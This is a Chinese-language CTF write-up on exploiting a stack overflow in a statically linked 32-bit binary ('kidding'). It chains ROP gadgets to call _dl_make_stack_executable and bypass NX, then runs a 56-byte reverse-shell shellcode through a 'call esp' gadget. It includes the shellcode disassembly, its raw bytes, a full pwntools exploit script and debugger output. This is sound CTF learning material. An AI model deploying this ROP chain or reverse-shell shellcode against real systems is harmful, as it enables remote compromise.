关闭nx与反弹shell

程式描述

本題程式為statically linked,
在本題中明顯提供解題者一個stack buffer overflow的漏洞,
但因為程式有NX保護,必須使用ROP來控制程式行為。
在寫入的第12byte後開始覆蓋main的return address,
共計有88 bytes的overflow空間。
在程式read完以後便切斷該程式對client的連線,
即使拿到shell也無法操控該shell。

Exploit

較簡單的解決辦法為建立一個reverse shell,
但如果全部只使用ROP最多只能放入22個gadgets
(包括argument與padding等等)。
所幸程式中可以找到_dl_make_stack_executable這個function以幫助解除NX保護,
接著便可以shellcode來產生一個reverse shell。

解除stack的NX保護

將__stack_prot設為7。
將__libc_stack_end的address放入eax中。
调用_dl_make_stack_executable。
解除NX後使用call esp的gadget來執行接著放在stack中的shellcode,截至目前為止最少共需占用8格stack,也就是32 bytes。

放入reverse shell的shellcode
建立reverse shell須執行socket、dup2、connect、execve等指令,
由於總共只有88 bytes的空間,且已用掉32 bytes來解除NX,
剩下只能放入最多56 bytes的shellcode來完成reverse shell。但網路上所提供的shellcode最短也要將近70 bytes,距離需求的56 bytes仍有不少距離。以下是兩種解決辦法,在比賽時我們是使用第一種解法:

想辦法硬縮,擠到56 bytes為止(我們使用的辦法)
由於網路上提供的shellcode必須夠general以應付幾乎所有程式state,
若能應用當時程式的某些state便可減少一點size。
由於fd中0、1、2皆已被close,
拿到的socket fd即已為0,因此只需進行一次dup2。
由於ebp可控(ebp的值會等於input中的第8~11 byte),
由此可以push ebp取代一次push 0xXXXXXXXX,省下4 bytes。
push port時使用ax中已有的數值(0x66),
port(big endian)將被固定為0x6600(26112)。

此為最後所使用的shellcode(共56 bytes),其中IP位置須位於ebp當中、port固定為26112:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 0:   6a 01                   push   0x1
2: 5b pop ebx
3: 99 cdq
4: b0 66 mov al,0x66
6: 52 push edx
7: 53 push ebx
8: 6a 02 push 0x2
a: 89 e1 mov ecx,esp
c: cd 80 int 0x80
e: 5e pop esi
f: 59 pop ecx
10: 93 xchg ebx,eax
11: b0 3f mov al,0x3f
13: cd 80 int 0x80
15: b0 66 mov al,0x66
17: 55 push ebp
18: 66 50 push ax
1a: 66 56 push si
1c: 89 e1 mov ecx,esp
1e: 0e push cs
1f: 51 push ecx
20: 53 push ebx
21: 89 e1 mov ecx,esp
23: b3 03 mov bl,0x3
25: cd 80 int 0x80
27: b0 0b mov al,0xb
29: 59 pop ecx
2a: 68 2f 73 68 00 push 0x68732f
2f: 68 2f 62 69 6e push 0x6e69622f
34: 89 e3 mov ebx,esp
36: cd 80 int 0x80

32位关闭nx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
def construct_rop():

a=ELF('./kidding')
rop = ROP(a)
# __stack_prot = 7
rop.raw(rop.find_gadget(['pop ecx', 'ret']).address)
rop.raw(rop.resolve('__stack_prot'))
rop.raw(rop.find_gadget(['pop dword ptr [ecx]', 'ret']).address)
rop.raw(7)
# call _dl_make_stack_executable
rop.raw(rop.find_gadget(['pop eax', 'ret']).address)
rop.raw(rop.resolve('__libc_stack_end'))
rop.raw(rop.resolve('_dl_make_stack_executable'))
# Run our shellcode
rop.raw(0x080c99b0) # call esp
#print disasm(self.reverse_shellcode)
to_send = (
str(rop)
)
return to_send
reverse_shellcode = (
"\x6a\x01\x5b\x99\xb0\x66\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5e\x59\x93\xb0\x3f"
"\xcd\x80\xb0\x66\x55\x66\x50\x66\x56"
"\x89\xe1\x0e\x51\x53"
"\x89\xe1\xb3\x03\xcd\x80\xb0\x0b\x59\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3"
"\xcd\x80"
)
p=process('./kidding')
gdb.attach(p,'b *0x080488B6 ')
listen_port = 0x6600
listener = listen(listen_port)
p.send('A' * 8 + binary_ip('127.0.0.1')+construct_rop()+reverse_shellcode)
listener.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

00:0000│ ecx esp 0xffce3ccc ◂— 0x2
01:0004│ 0xffce3cd0 ◂— 0x1
02:0008│ 0xffce3cd4 ◂— 0x0


ebx: 0x1
ecx: 0xffce3ccc ◂— 0x2
edx: 0x0
esi: 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8066de0 (__strcpy_sse2) ◂— mov edx, dword ptr [esp + 4]





00:0000│ ecx esp 0xffce3cc0 ◂— 0x0
01:0004│ 0xffce3cc4 —▸ 0xffce3ccc ◂— 0x660002
02:0008│ 0xffce3cc8 ◂— 0x23 /* '#' */
03:000c│ 0xffce3ccc ◂— 0x660002
04:0010│ 0xffce3cd0 ◂— 0x1000
ebx: 0x3
ecx: 0xffce3cc0 ◂— 0x0